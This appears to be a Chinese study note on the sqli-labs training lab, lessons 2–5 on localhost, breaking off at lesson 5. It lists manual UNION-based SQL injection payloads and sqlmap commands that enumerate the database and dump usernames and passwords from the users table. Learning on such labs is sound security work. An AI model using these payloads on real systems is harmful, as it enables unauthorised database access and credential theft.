sqli-labs学习笔记 DAY2

sqli-labs学习笔记 DAY2

DAY2

sqli-labs lesson 2

• 手工注入
  • URL:http://localhost/sqli-labs-master/Less-2/
  • Parameter:id
  • 注入点检测:id=2;–+
  • 回显点检测:id=2+UNION+SELECT+1,2,3;–+
  • 字段数猜解:id=2+ORDER+BY+3;–+
  • 获取当前数据库:id=99+UNION+SELECT+1,database(),3;–+
  • 获取security数据库的表:id=99+UNION+SELECT+1,group_concat(table_name),3+FROM+information_schema.tables+WHERE+table_schema=‘security’;–+
  • 获取users表的字段:id=99+UNION+SELECT+1,group_concat(column_name),3+FROM+information_schema.columns+WHERE+table_schema=‘security’+AND+table_name=‘users’;–+
  • 获取users表的记录:id=99+UNION+SELECT+1,group_concat(username),group_concat(password)+FROM+security.users;–+
• sqlmap
  • 命令:python sqlmap.py
  • 注入点检测：python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0
  • 获取当前数据库:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 --current-db
  • 获取数据库所有表:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security --tables
  • 获取users表所有字段:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users --columns
  • 获取users表所有记录:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users -C username,password --dump

sqli-labs lesson 3

• 手工注入
  • URL:http://localhost/sqli-labs-master/Less-3/
  • Parameter:id
  • 该题与lesson 2相同，只不过在单引号后面加一个)。这一点可以通过利用上一题的检测方法检测时的报错知晓。
• sqlmap
  • 与上一题完全相同

sqli-labs lesson 4

• 手工注入
  • URL:http://localhost/sqli-labs-master/Less-4/
  • Parameter:id
  • 该题与lesson 2相同，只不过在单引号换成双引号。这一点可以通过利用上一题的检测方法检测时的报错知晓。
• sqlmap
  • 同lesson 2

sqli-labs lesson 5

• 手工注入
  • URL:http://localhost/sqli-labs-master/Less-5/
  • Parameter:id
  • 布尔型注入
    • 检测：